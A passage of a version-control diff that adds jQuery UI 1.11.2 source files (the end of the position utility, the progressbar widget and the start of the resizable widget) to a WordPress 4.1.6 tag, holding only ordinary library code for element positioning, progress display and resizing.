+				within.element.css( "overflow-x" ),
+			overflowY = within.isWindow || within.isDocument ? "" :
+				within.element.css( "overflow-y" ),
+			hasOverflowX = overflowX === "scroll" ||
+				( overflowX === "auto" && within.width < within.element[0].scrollWidth ),
+			hasOverflowY = overflowY === "scroll" ||
+				( overflowY === "auto" && within.height < within.element[0].scrollHeight );
+		return {
+			width: hasOverflowY ? $.position.scrollbarWidth() : 0,
+			height: hasOverflowX ? $.position.scrollbarWidth() : 0
+		};
+	},
+	getWithinInfo: function( element ) {
+		var withinElement = $( element || window ),
+			isWindow = $.isWindow( withinElement[0] ),
+			isDocument = !!withinElement[ 0 ] && withinElement[ 0 ].nodeType === 9;
+		return {
+			element: withinElement,
+			isWindow: isWindow,
+			isDocument: isDocument,
+			offset: withinElement.offset() || { left: 0, top: 0 },
+			scrollLeft: withinElement.scrollLeft(),
+			scrollTop: withinElement.scrollTop(),
+
+			// support: jQuery 1.6.x
+			// jQuery 1.6 doesn't support .outerWidth/Height() on documents or windows
+			width: isWindow || isDocument ? withinElement.width() : withinElement.outerWidth(),
+			height: isWindow || isDocument ? withinElement.height() : withinElement.outerHeight()
+		};
+	}
+};
+
+$.fn.position = function( options ) {
+	if ( !options || !options.of ) {
+		return _position.apply( this, arguments );
+	}
+
+	// make a copy, we don't want to modify arguments
+	options = $.extend( {}, options );
+
+	var atOffset, targetWidth, targetHeight, targetOffset, basePosition, dimensions,
+		target = $( options.of ),
+		within = $.position.getWithinInfo( options.within ),
+		scrollInfo = $.position.getScrollInfo( within ),
+		collision = ( options.collision || "flip" ).split( " " ),
+		offsets = {};
+
+	dimensions = getDimensions( target );
+	if ( target[0].preventDefault ) {
+		// force left top to allow flipping
+		options.at = "left top";
+	}
+	targetWidth = dimensions.width;
+	targetHeight = dimensions.height;
+	targetOffset = dimensions.offset;
+	// clone to reuse original targetOffset later
+	basePosition = $.extend( {}, targetOffset );
+
+	// force my and at to have valid horizontal and vertical positions
+	// if a value is missing or invalid, it will be converted to center
+	$.each( [ "my", "at" ], function() {
+		var pos = ( options[ this ] || "" ).split( " " ),
+			horizontalOffset,
+			verticalOffset;
+
+		if ( pos.length === 1) {
+			pos = rhorizontal.test( pos[ 0 ] ) ?
+				pos.concat( [ "center" ] ) :
+				rvertical.test( pos[ 0 ] ) ?
+					[ "center" ].concat( pos ) :
+					[ "center", "center" ];
+		}
+		pos[ 0 ] = rhorizontal.test( pos[ 0 ] ) ? pos[ 0 ] : "center";
+		pos[ 1 ] = rvertical.test( pos[ 1 ] ) ? pos[ 1 ] : "center";
+
+		// calculate offsets
+		horizontalOffset = roffset.exec( pos[ 0 ] );
+		verticalOffset = roffset.exec( pos[ 1 ] );
+		offsets[ this ] = [
+			horizontalOffset ? horizontalOffset[ 0 ] : 0,
+			verticalOffset ? verticalOffset[ 0 ] : 0
+		];
+
+		// reduce to just the positions without the offsets
+		options[ this ] = [
+			rposition.exec( pos[ 0 ] )[ 0 ],
+			rposition.exec( pos[ 1 ] )[ 0 ]
+		];
+	});
+
+	// normalize collision option
+	if ( collision.length === 1 ) {
+		collision[ 1 ] = collision[ 0 ];
+	}
+
+	if ( options.at[ 0 ] === "right" ) {
+		basePosition.left += targetWidth;
+	} else if ( options.at[ 0 ] === "center" ) {
+		basePosition.left += targetWidth / 2;
+	}
+
+	if ( options.at[ 1 ] === "bottom" ) {
+		basePosition.top += targetHeight;
+	} else if ( options.at[ 1 ] === "center" ) {
+		basePosition.top += targetHeight / 2;
+	}
+
+	atOffset = getOffsets( offsets.at, targetWidth, targetHeight );
+	basePosition.left += atOffset[ 0 ];
+	basePosition.top += atOffset[ 1 ];
+
+	return this.each(function() {
+		var collisionPosition, using,
+			elem = $( this ),
+			elemWidth = elem.outerWidth(),
+			elemHeight = elem.outerHeight(),
+			marginLeft = parseCss( this, "marginLeft" ),
+			marginTop = parseCss( this, "marginTop" ),
+			collisionWidth = elemWidth + marginLeft + parseCss( this, "marginRight" ) + scrollInfo.width,
+			collisionHeight = elemHeight + marginTop + parseCss( this, "marginBottom" ) + scrollInfo.height,
+			position = $.extend( {}, basePosition ),
+			myOffset = getOffsets( offsets.my, elem.outerWidth(), elem.outerHeight() );
+
+		if ( options.my[ 0 ] === "right" ) {
+			position.left -= elemWidth;
+		} else if ( options.my[ 0 ] === "center" ) {
+			position.left -= elemWidth / 2;
+		}
+
+		if ( options.my[ 1 ] === "bottom" ) {
+			position.top -= elemHeight;
+		} else if ( options.my[ 1 ] === "center" ) {
+			position.top -= elemHeight / 2;
+		}
+
+		position.left += myOffset[ 0 ];
+		position.top += myOffset[ 1 ];
+
+		// if the browser doesn't support fractions, then round for consistent results
+		if ( !supportsOffsetFractions ) {
+			position.left = round( position.left );
+			position.top = round( position.top );
+		}
+
+		collisionPosition = {
+			marginLeft: marginLeft,
+			marginTop: marginTop
+		};
+
+		$.each( [ "left", "top" ], function( i, dir ) {
+			if ( $.ui.position[ collision[ i ] ] ) {
+				$.ui.position[ collision[ i ] ][ dir ]( position, {
+					targetWidth: targetWidth,
+					targetHeight: targetHeight,
+					elemWidth: elemWidth,
+					elemHeight: elemHeight,
+					collisionPosition: collisionPosition,
+					collisionWidth: collisionWidth,
+					collisionHeight: collisionHeight,
+					offset: [ atOffset[ 0 ] + myOffset[ 0 ], atOffset [ 1 ] + myOffset[ 1 ] ],
+					my: options.my,
+					at: options.at,
+					within: within,
+					elem: elem
+				});
+			}
+		});
+
+		if ( options.using ) {
+			// adds feedback as second argument to using callback, if present
+			using = function( props ) {
+				var left = targetOffset.left - position.left,
+					right = left + targetWidth - elemWidth,
+					top = targetOffset.top - position.top,
+					bottom = top + targetHeight - elemHeight,
+					feedback = {
+						target: {
+							element: target,
+							left: targetOffset.left,
+							top: targetOffset.top,
+							width: targetWidth,
+							height: targetHeight
+						},
+						element: {
+							element: elem,
+							left: position.left,
+							top: position.top,
+							width: elemWidth,
+							height: elemHeight
+						},
+						horizontal: right < 0 ? "left" : left > 0 ? "right" : "center",
+						vertical: bottom < 0 ? "top" : top > 0 ? "bottom" : "middle"
+					};
+				if ( targetWidth < elemWidth && abs( left + right ) < targetWidth ) {
+					feedback.horizontal = "center";
+				}
+				if ( targetHeight < elemHeight && abs( top + bottom ) < targetHeight ) {
+					feedback.vertical = "middle";
+				}
+				if ( max( abs( left ), abs( right ) ) > max( abs( top ), abs( bottom ) ) ) {
+					feedback.important = "horizontal";
+				} else {
+					feedback.important = "vertical";
+				}
+				options.using.call( this, props, feedback );
+			};
+		}
+
+		elem.offset( $.extend( position, { using: using } ) );
+	});
+};
+
+$.ui.position = {
+	fit: {
+		left: function( position, data ) {
+			var within = data.within,
+				withinOffset = within.isWindow ? within.scrollLeft : within.offset.left,
+				outerWidth = within.width,
+				collisionPosLeft = position.left - data.collisionPosition.marginLeft,
+				overLeft = withinOffset - collisionPosLeft,
+				overRight = collisionPosLeft + data.collisionWidth - outerWidth - withinOffset,
+				newOverRight;
+
+			// element is wider than within
+			if ( data.collisionWidth > outerWidth ) {
+				// element is initially over the left side of within
+				if ( overLeft > 0 && overRight <= 0 ) {
+					newOverRight = position.left + overLeft + data.collisionWidth - outerWidth - withinOffset;
+					position.left += overLeft - newOverRight;
+				// element is initially over right side of within
+				} else if ( overRight > 0 && overLeft <= 0 ) {
+					position.left = withinOffset;
+				// element is initially over both left and right sides of within
+				} else {
+					if ( overLeft > overRight ) {
+						position.left = withinOffset + outerWidth - data.collisionWidth;
+					} else {
+						position.left = withinOffset;
+					}
+				}
+			// too far left -> align with left edge
+			} else if ( overLeft > 0 ) {
+				position.left += overLeft;
+			// too far right -> align with right edge
+			} else if ( overRight > 0 ) {
+				position.left -= overRight;
+			// adjust based on position and margin
+			} else {
+				position.left = max( position.left - collisionPosLeft, position.left );
+			}
+		},
+		top: function( position, data ) {
+			var within = data.within,
+				withinOffset = within.isWindow ? within.scrollTop : within.offset.top,
+				outerHeight = data.within.height,
+				collisionPosTop = position.top - data.collisionPosition.marginTop,
+				overTop = withinOffset - collisionPosTop,
+				overBottom = collisionPosTop + data.collisionHeight - outerHeight - withinOffset,
+				newOverBottom;
+
+			// element is taller than within
+			if ( data.collisionHeight > outerHeight ) {
+				// element is initially over the top of within
+				if ( overTop > 0 && overBottom <= 0 ) {
+					newOverBottom = position.top + overTop + data.collisionHeight - outerHeight - withinOffset;
+					position.top += overTop - newOverBottom;
+				// element is initially over bottom of within
+				} else if ( overBottom > 0 && overTop <= 0 ) {
+					position.top = withinOffset;
+				// element is initially over both top and bottom of within
+				} else {
+					if ( overTop > overBottom ) {
+						position.top = withinOffset + outerHeight - data.collisionHeight;
+					} else {
+						position.top = withinOffset;
+					}
+				}
+			// too far up -> align with top
+			} else if ( overTop > 0 ) {
+				position.top += overTop;
+			// too far down -> align with bottom edge
+			} else if ( overBottom > 0 ) {
+				position.top -= overBottom;
+			// adjust based on position and margin
+			} else {
+				position.top = max( position.top - collisionPosTop, position.top );
+			}
+		}
+	},
+	flip: {
+		left: function( position, data ) {
+			var within = data.within,
+				withinOffset = within.offset.left + within.scrollLeft,
+				outerWidth = within.width,
+				offsetLeft = within.isWindow ? within.scrollLeft : within.offset.left,
+				collisionPosLeft = position.left - data.collisionPosition.marginLeft,
+				overLeft = collisionPosLeft - offsetLeft,
+				overRight = collisionPosLeft + data.collisionWidth - outerWidth - offsetLeft,
+				myOffset = data.my[ 0 ] === "left" ?
+					-data.elemWidth :
+					data.my[ 0 ] === "right" ?
+						data.elemWidth :
+						0,
+				atOffset = data.at[ 0 ] === "left" ?
+					data.targetWidth :
+					data.at[ 0 ] === "right" ?
+						-data.targetWidth :
+						0,
+				offset = -2 * data.offset[ 0 ],
+				newOverRight,
+				newOverLeft;
+
+			if ( overLeft < 0 ) {
+				newOverRight = position.left + myOffset + atOffset + offset + data.collisionWidth - outerWidth - withinOffset;
+				if ( newOverRight < 0 || newOverRight < abs( overLeft ) ) {
+					position.left += myOffset + atOffset + offset;
+				}
+			} else if ( overRight > 0 ) {
+				newOverLeft = position.left - data.collisionPosition.marginLeft + myOffset + atOffset + offset - offsetLeft;
+				if ( newOverLeft > 0 || abs( newOverLeft ) < overRight ) {
+					position.left += myOffset + atOffset + offset;
+				}
+			}
+		},
+		top: function( position, data ) {
+			var within = data.within,
+				withinOffset = within.offset.top + within.scrollTop,
+				outerHeight = within.height,
+				offsetTop = within.isWindow ? within.scrollTop : within.offset.top,
+				collisionPosTop = position.top - data.collisionPosition.marginTop,
+				overTop = collisionPosTop - offsetTop,
+				overBottom = collisionPosTop + data.collisionHeight - outerHeight - offsetTop,
+				top = data.my[ 1 ] === "top",
+				myOffset = top ?
+					-data.elemHeight :
+					data.my[ 1 ] === "bottom" ?
+						data.elemHeight :
+						0,
+				atOffset = data.at[ 1 ] === "top" ?
+					data.targetHeight :
+					data.at[ 1 ] === "bottom" ?
+						-data.targetHeight :
+						0,
+				offset = -2 * data.offset[ 1 ],
+				newOverTop,
+				newOverBottom;
+			if ( overTop < 0 ) {
+				newOverBottom = position.top + myOffset + atOffset + offset + data.collisionHeight - outerHeight - withinOffset;
+				if ( ( position.top + myOffset + atOffset + offset) > overTop && ( newOverBottom < 0 || newOverBottom < abs( overTop ) ) ) {
+					position.top += myOffset + atOffset + offset;
+				}
+			} else if ( overBottom > 0 ) {
+				newOverTop = position.top - data.collisionPosition.marginTop + myOffset + atOffset + offset - offsetTop;
+				if ( ( position.top + myOffset + atOffset + offset) > overBottom && ( newOverTop > 0 || abs( newOverTop ) < overBottom ) ) {
+					position.top += myOffset + atOffset + offset;
+				}
+			}
+		}
+	},
+	flipfit: {
+		left: function() {
+			$.ui.position.flip.left.apply( this, arguments );
+			$.ui.position.fit.left.apply( this, arguments );
+		},
+		top: function() {
+			$.ui.position.flip.top.apply( this, arguments );
+			$.ui.position.fit.top.apply( this, arguments );
+		}
+	}
+};
+
+// fraction support test
+(function() {
+	var testElement, testElementParent, testElementStyle, offsetLeft, i,
+		body = document.getElementsByTagName( "body" )[ 0 ],
+		div = document.createElement( "div" );
+
+	//Create a "fake body" for testing based on method used in jQuery.support
+	testElement = document.createElement( body ? "div" : "body" );
+	testElementStyle = {
+		visibility: "hidden",
+		width: 0,
+		height: 0,
+		border: 0,
+		margin: 0,
+		background: "none"
+	};
+	if ( body ) {
+		$.extend( testElementStyle, {
+			position: "absolute",
+			left: "-1000px",
+			top: "-1000px"
+		});
+	}
+	for ( i in testElementStyle ) {
+		testElement.style[ i ] = testElementStyle[ i ];
+	}
+	testElement.appendChild( div );
+	testElementParent = body || document.documentElement;
+	testElementParent.insertBefore( testElement, testElementParent.firstChild );
+
+	div.style.cssText = "position: absolute; left: 10.7432222px;";
+
+	offsetLeft = $( div ).offset().left;
+	supportsOffsetFractions = offsetLeft > 10 && offsetLeft < 11;
+
+	testElement.innerHTML = "";
+	testElementParent.removeChild( testElement );
+})();
+
+})();
+
+return $.ui.position;
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/progressbar.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/progressbar.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/progressbar.js	(revision 33402)
@@ -0,0 +1,159 @@
+/*!
+ * jQuery UI Progressbar 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/progressbar/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./widget"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.widget( "ui.progressbar", {
+	version: "1.11.2",
+	options: {
+		max: 100,
+		value: 0,
+
+		change: null,
+		complete: null
+	},
+
+	min: 0,
+
+	_create: function() {
+		// Constrain initial value
+		this.oldValue = this.options.value = this._constrainedValue();
+
+		this.element
+			.addClass( "ui-progressbar ui-widget ui-widget-content ui-corner-all" )
+			.attr({
+				// Only set static values, aria-valuenow and aria-valuemax are
+				// set inside _refreshValue()
+				role: "progressbar",
+				"aria-valuemin": this.min
+			});
+
+		this.valueDiv = $( "<div class='ui-progressbar-value ui-widget-header ui-corner-left'></div>" )
+			.appendTo( this.element );
+
+		this._refreshValue();
+	},
+
+	_destroy: function() {
+		this.element
+			.removeClass( "ui-progressbar ui-widget ui-widget-content ui-corner-all" )
+			.removeAttr( "role" )
+			.removeAttr( "aria-valuemin" )
+			.removeAttr( "aria-valuemax" )
+			.removeAttr( "aria-valuenow" );
+
+		this.valueDiv.remove();
+	},
+
+	value: function( newValue ) {
+		if ( newValue === undefined ) {
+			return this.options.value;
+		}
+
+		this.options.value = this._constrainedValue( newValue );
+		this._refreshValue();
+	},
+
+	_constrainedValue: function( newValue ) {
+		if ( newValue === undefined ) {
+			newValue = this.options.value;
+		}
+
+		this.indeterminate = newValue === false;
+
+		// sanitize value
+		if ( typeof newValue !== "number" ) {
+			newValue = 0;
+		}
+
+		return this.indeterminate ? false :
+			Math.min( this.options.max, Math.max( this.min, newValue ) );
+	},
+
+	_setOptions: function( options ) {
+		// Ensure "value" option is set after other values (like max)
+		var value = options.value;
+		delete options.value;
+
+		this._super( options );
+
+		this.options.value = this._constrainedValue( value );
+		this._refreshValue();
+	},
+
+	_setOption: function( key, value ) {
+		if ( key === "max" ) {
+			// Don't allow a max less than min
+			value = Math.max( this.min, value );
+		}
+		if ( key === "disabled" ) {
+			this.element
+				.toggleClass( "ui-state-disabled", !!value )
+				.attr( "aria-disabled", value );
+		}
+		this._super( key, value );
+	},
+
+	_percentage: function() {
+		return this.indeterminate ? 100 : 100 * ( this.options.value - this.min ) / ( this.options.max - this.min );
+	},
+
+	_refreshValue: function() {
+		var value = this.options.value,
+			percentage = this._percentage();
+
+		this.valueDiv
+			.toggle( this.indeterminate || value > this.min )
+			.toggleClass( "ui-corner-right", value === this.options.max )
+			.width( percentage.toFixed(0) + "%" );
+
+		this.element.toggleClass( "ui-progressbar-indeterminate", this.indeterminate );
+
+		if ( this.indeterminate ) {
+			this.element.removeAttr( "aria-valuenow" );
+			if ( !this.overlayDiv ) {
+				this.overlayDiv = $( "<div class='ui-progressbar-overlay'></div>" ).appendTo( this.valueDiv );
+			}
+		} else {
+			this.element.attr({
+				"aria-valuemax": this.options.max,
+				"aria-valuenow": value
+			});
+			if ( this.overlayDiv ) {
+				this.overlayDiv.remove();
+				this.overlayDiv = null;
+			}
+		}
+
+		if ( this.oldValue !== value ) {
+			this.oldValue = value;
+			this._trigger( "change" );
+		}
+		if ( value === this.options.max ) {
+			this._trigger( "complete" );
+		}
+	}
+});
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/resizable.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/resizable.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/resizable.js	(revision 33402)
@@ -0,0 +1,1179 @@
+/*!
+ * jQuery UI Resizable 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/resizable/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./mouse",
+			"./widget"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+$.widget("ui.resizable", $.ui.mouse, {
+	version: "1.11.2",
+	widgetEventPrefix: "resize",
+	options: {
+		alsoResize: false,
+		animate: false,
+		animateDuration: "slow",
+		animateEasing: "swing",
+		aspectRatio: false,
+		autoHide: false,
+		containment: false,
+		ghost: false,
+		grid: false,
+		handles: "e,s,se",
+		helper: false,
+		maxHeight: null,
+		maxWidth: null,
+		minHeight: 10,
+		minWidth: 10,
+		// See #7960
+		zIndex: 90,
+
+		// callbacks
+		resize: null,
+		start: null,
+		stop: null
+	},
+
+	_num: function( value ) {
+		return parseInt( value, 10 ) || 0;
+	},
+
+	_isNumber: function( value ) {
+		return !isNaN( parseInt( value, 10 ) );
+	},
+
+	_hasScroll: function( el, a ) {
+
+		if ( $( el ).css( "overflow" ) === "hidden") {
+			return false;
+		}
+
+		var scroll = ( a && a === "left" ) ? "scrollLeft" : "scrollTop",
+			has = false;
+
+		if ( el[ scroll ] > 0 ) {
+			return true;
+		}
+
+		// TODO: determine which cases actually cause this to happen
+		// if the element doesn't have the scroll set, see if it's possible to
+		// set the scroll
+		el[ scroll ] = 1;
+		has = ( el[ scroll ] > 0 );
+		el[ scroll ] = 0;
+		return has;
+	},
+
+	_create: function() {
+
+		var n, i, handle, axis, hname,
+			that = this,
+			o = this.options;
+		this.element.addClass("ui-resizable");
+
+		$.extend(this, {
+			_aspectRatio: !!(o.aspectRatio),
+			aspectRatio: o.aspectRatio,
+			originalElement: this.element,
+			_proportionallyResizeElements: [],
+			_helper: o.helper || o.ghost || o.animate ? o.helper || "ui-resizable-helper" : null
+		});
+
+		// Wrap the element if it cannot hold child nodes
+		if (this.element[0].nodeName.match(/canvas|textarea|input|select|button|img/i)) {
+
+			this.element.wrap(
+				$("<div class='ui-wrapper' style='overflow: hidden;'></div>").css({
+					position: this.element.css("position"),
+					width: this.element.outerWidth(),
+					height: this.element.outerHeight(),
+					top: this.element.css("top"),
+					left: this.element.css("left")
+				})
+			);
+
+			this.element = this.element.parent().data(
+				"ui-resizable", this.element.resizable( "instance" )
+			);
+
+			this.elementIsWrapper = true;
+
+			this.element.css({
+				marginLeft: this.originalElement.css("marginLeft"),
+				marginTop: this.originalElement.css("marginTop"),
+				marginRight: this.originalElement.css("marginRight"),
+				marginBottom: this.originalElement.css("marginBottom")
+			});
+			this.originalElement.css({
+				marginLeft: 0,
+				marginTop: 0,
+				marginRight: 0,
+				marginBottom: 0
+			});
+			// support: Safari
+			// Prevent Safari textarea resize
+			this.originalResizeStyle = this.originalElement.css("resize");
+			this.originalElement.css("resize", "none");
+
+			this._proportionallyResizeElements.push( this.originalElement.css({
+				position: "static",
+				zoom: 1,
+				display: "block"
+			}) );
+
+			// support: IE9
+			// avoid IE jump (hard set the margin)
+			this.originalElement.css({ margin: this.originalElement.css("margin") });
+
+			this._proportionallyResize();
+		}
+
+		this.handles = o.handles ||
+			( !$(".ui-resizable-handle", this.element).length ?
+				"e,s,se" : {
+					n: ".ui-resizable-n",
+					e: ".ui-resizable-e",
+					s: ".ui-resizable-s",
+					w: ".ui-resizable-w",
+					se: ".ui-resizable-se",
+					sw: ".ui-resizable-sw",
+					ne: ".ui-resizable-ne",
+					nw: ".ui-resizable-nw"
+				} );
+
+		if (this.handles.constructor === String) {
+
+			if ( this.handles === "all") {
+				this.handles = "n,e,s,w,se,sw,ne,nw";
+			}
+
+			n = this.handles.split(",");
+			this.handles = {};
+
+			for (i = 0; i < n.length; i++) {
+
+				handle = $.trim(n[i]);
+				hname = "ui-resizable-" + handle;
+				axis = $("<div class='ui-resizable-handle " + hname + "'></div>");
+
+				axis.css({ zIndex: o.zIndex });
+
+				// TODO : What's going on here?
+				if ("se" === handle) {
+					axis.addClass("ui-icon ui-icon-gripsmall-diagonal-se");
+				}
+
+				this.handles[handle] = ".ui-resizable-" + handle;
+				this.element.append(axis);
+			}
+
+		}
+
+		this._renderAxis = function(target) {
+
+			var i, axis, padPos, padWrapper;
+
+			target = target || this.element;
+
+			for (i in this.handles) {
+
+				if (this.handles[i].constructor === String) {
+					this.handles[i] = this.element.children( this.handles[ i ] ).first().show();
+				}
+
+				if (this.elementIsWrapper && this.originalElement[0].nodeName.match(/textarea|input|select|button/i)) {
+
+					axis = $(this.handles[i], this.element);
+
+					padWrapper = /sw|ne|nw|se|n|s/.test(i) ? axis.outerHeight() : axis.outerWidth();
+
+					padPos = [ "padding",
+						/ne|nw|n/.test(i) ? "Top" :
+						/se|sw|s/.test(i) ? "Bottom" :
+						/^e$/.test(i) ? "Right" : "Left" ].join("");
+
+					target.css(padPos, padWrapper);
+
+					this._proportionallyResize();
+
+				}
+
+				// TODO: What's that good for? There's not anything to be executed left
+				if (!$(this.handles[i]).length) {
+					continue;
+				}
+			}
+		};
+
+		// TODO: make renderAxis a prototype function
+		this._renderAxis(this.element);
+
+		this._handles = $(".ui-resizable-handle", this.element)
+			.disableSelection();
+
+		this._handles.mouseover(function() {
+			if (!that.resizing) {
+				if (this.className) {
+					axis = this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i);
+				}
+				that.axis = axis && axis[1] ? axis[1] : "se";
+			}
+		});
+
+		if (o.autoHide) {
+			this._handles.hide();
+			$(this.element)
+				.addClass("ui-resizable-autohide")
+				.mouseenter(function() {
+					if (o.disabled) {
+						return;
+					}
+					$(this).removeClass("ui-resizable-autohide");
+					that._handles.show();
+				})
+				.mouseleave(function() {
+					if (o.disabled) {
+						return;
+					}
+					if (!that.resizing) {
+						$(this).addClass("ui-resizable-autohide");
+						that._handles.hide();
+					}
+				});
+		}
+
+		this._mouseInit();
+
+	},
+
+	_destroy: function() {
+
+		this._mouseDestroy();
+
+		var wrapper,
+			_destroy = function(exp) {
+				$(exp)
+					.removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing")
+					.removeData("resizable")
+					.removeData("ui-resizable")
+					.unbind(".resizable")
+					.find(".ui-resizable-handle")
+						.remove();
+			};
+
+		// TODO: Unwrap at same DOM position
+		if (this.elementIsWrapper) {
+			_destroy(this.element);
+			wrapper = this.element;
+			this.originalElement.css({
+				position: wrapper.css("position"),
+				width: wrapper.outerWidth(),
+				height: wrapper.outerHeight(),
+				top: wrapper.css("top"),
+				left: wrapper.css("left")
+			}).insertAfter( wrapper );
+			wrapper.remove();
+		}
+
+		this.originalElement.css("resize", this.originalResizeStyle);
+		_destroy(this.originalElement);
+
+		return this;
+	},
+
+	_mouseCapture: function(event) {
+		var i, handle,
+			capture = false;
+
+		for (i in this.handles) {
+			handle = $(this.handles[i])[0];
+			if (handle === event.target || $.contains(handle, event.target)) {
+				capture = true;
+			}
+		}
+
+		return !this.options.disabled && capture;
+	},
+
+	_mouseStart: function(event) {
+
+		var curleft, curtop, cursor,
+			o = this.options,
+			el = this.element;
+
+		this.resizing = true;
+
+		this._renderProxy();
+
+		curleft = this._num(this.helper.css("left"));
+		curtop = this._num(this.helper.css("top"));
+
+		if (o.containment) {
+			curleft += $(o.containment).scrollLeft() || 0;
+			curtop += $(o.containment).scrollTop() || 0;
+		}
+
+		this.offset = this.helper.offset();
+		this.position = { left: curleft, top: curtop };
+
+		this.size = this._helper ? {
+				width: this.helper.width(),
+				height: this.helper.height()
+			} : {
+				width: el.width(),
+				height: el.height()
+			};
+
+		this.originalSize = this._helper ? {
+				width: el.outerWidth(),
+				height: el.outerHeight()
+			} : {
+				width: el.width(),
+				height: el.height()
+			};
+
+		this.sizeDiff = {
+			width: el.outerWidth() - el.width(),
+			height: el.outerHeight() - el.height()
+		};
+
+		this.originalPosition = { left: curleft, top: curtop };
+		this.originalMousePosition = { left: event.pageX, top: event.pageY };
+
+		this.aspectRatio = (typeof o.aspectRatio === "number") ?
+			o.aspectRatio :
+			((this.originalSize.width / this.originalSize.height) || 1);
+
+		cursor = $(".ui-resizable-" + this.axis).css("cursor");
+		$("body").css("cursor", cursor === "auto" ? this.axis + "-resize" : cursor);
+
+		el.addClass("ui-resizable-resizing");
+		this._propagate("start", event);
+		return true;
+	},
+
+	_mouseDrag: function(event) {
+
+		var data, props,
+			smp = this.originalMousePosition,
+			a = this.axis,
+			dx = (event.pageX - smp.left) || 0,
+			dy = (event.pageY - smp.top) || 0,
+			trigger = this._change[a];
+
+		this._updatePrevProperties();
+
+		if (!trigger) {
+			return false;
+		}
+
+		data = trigger.apply(this, [ event, dx, dy ]);
+
+		this._updateVirtualBoundaries(event.shiftKey);
+		if (this._aspectRatio || event.shiftKey) {
+			data = this._updateRatio(data, event);
+		}
+
+		data = this._respectSize(data, event);
+
+		this._updateCache(data);
+
+		this._propagate("resize", event);
+
+		props = this._applyChanges();
+
+		if ( !this._helper && this._proportionallyResizeElements.length ) {
+			this._proportionallyResize();
+		}
+
+		if ( !$.isEmptyObject( props ) ) {
+			this._updatePrevProperties();
+			this._trigger( "resize", event, this.ui() );
+			this._applyChanges();
+		}
+
+		return false;
+	},
+
+	_mouseStop: function(event) {
+
+		this.resizing = false;
+		var pr, ista, soffseth, soffsetw, s, left, top,
+			o = this.options, that = this;
+
+		if (this._helper) {
+
+			pr = this._proportionallyResizeElements;
+			ista = pr.length && (/textarea/i).test(pr[0].nodeName);
+			soffseth = ista && this._hasScroll(pr[0], "left") ? 0 : that.sizeDiff.height;
+			soffsetw = ista ? 0 : that.sizeDiff.width;
+
+			s = {
+				width: (that.helper.width()  - soffsetw),
+				height: (that.helper.height() - soffseth)
+			};
+			left = (parseInt(that.element.css("left"), 10) +
+				(that.position.left - that.originalPosition.left)) || null;
+			top = (parseInt(that.element.css("top"), 10) +
+				(that.position.top - that.originalPosition.top)) || null;
+
+			if (!o.animate) {
+				this.element.css($.extend(s, { top: top, left: left }));
+			}
+
+			that.helper.height(that.size.height);
+			that.helper.width(that.size.width);
+
+			if (this._helper && !o.animate) {
+				this._proportionallyResize();
+			}
+		}
+
+		$("body").css("cursor", "auto");
+
+		this.element.removeClass("ui-resizable-resizing");
+
+		this._propagate("stop", event);
+
+		if (this._helper) {
+			this.helper.remove();
+		}
+
+		return false;
+
+	},
+
+	_updatePrevProperties: function() {
+		this.prevPosition = {
+			top: this.position.top,
+			left: this.position.left
+		};
+		this.prevSize = {
+			width: this.size.width,
+			height: this.size.height
+		};
+	},
+
+	_applyChanges: function() {
+		var props = {};
+
+		if ( this.position.top !== this.prevPosition.top ) {
+			props.top = this.position.top + "px";
+		}
+		if ( this.position.left !== this.prevPosition.left ) {
+			props.left = this.position.left + "px";
+		}
+		if ( this.size.width !== this.prevSize.width ) {
+			props.width = this.size.width + "px";
+		}
+		if ( this.size.height !== this.prevSize.height ) {
+			props.height = this.size.height + "px";
+		}
+
+		this.helper.css( props );
+
+		return props;
+	},
+
+	_updateVirtualBoundaries: function(forceAspectRatio) {
+		var pMinWidth, pMaxWidth, pMinHeight, pMaxHeight, b,
+			o = this.options;
+
+		b = {
+			minWidth: this._isNumber(o.minWidth) ? o.minWidth : 0,
+			maxWidth: this._isNumber(o.maxWidth) ? o.maxWidth : Infinity,
+			minHeight: this._isNumber(o.minHeight) ? o.minHeight : 0,
+			maxHeight: this._isNumber(o.maxHeight) ? o.maxHeight : Infinity
+		};
+
+		if (this._aspectRatio || forceAspectRatio) {
+			pMinWidth = b.minHeight * this.aspectRatio;
+			pMinHeight = b.minWidth / this.aspectRatio;
+			pMaxWidth = b.maxHeight * this.aspectRatio;
+			pMaxHeight = b.maxWidth / this.aspectRatio;
+
+			if (pMinWidth > b.minWidth) {
+				b.minWidth = pMinWidth;
+			}
+			if (pMinHeight > b.minHeight) {
+				b.minHeight = pMinHeight;
+			}
+			if (pMaxWidth < b.maxWidth) {
+				b.maxWidth = pMaxWidth;
+			}
+			if (pMaxHeight < b.maxHeight) {
+				b.maxHeight = pMaxHeight;
+			}
+		}
+		this._vBoundaries = b;
+	},
+
+	_updateCache: function(data) {
+		this.offset = this.helper.offset();
+		if (this._isNumber(data.left)) {
+			this.position.left = data.left;
+		}
+		if (this._isNumber(data.top)) {
+			this.position.top = data.top;
+		}
+		if (this._isNumber(data.height)) {
+			this.size.height = data.height;
+		}
+		if (this._isNumber(data.width)) {
+			this.size.width = data.width;
+		}
+	},
+
+	_updateRatio: function( data ) {
+
+		var cpos = this.position,
+			csize = this.size,
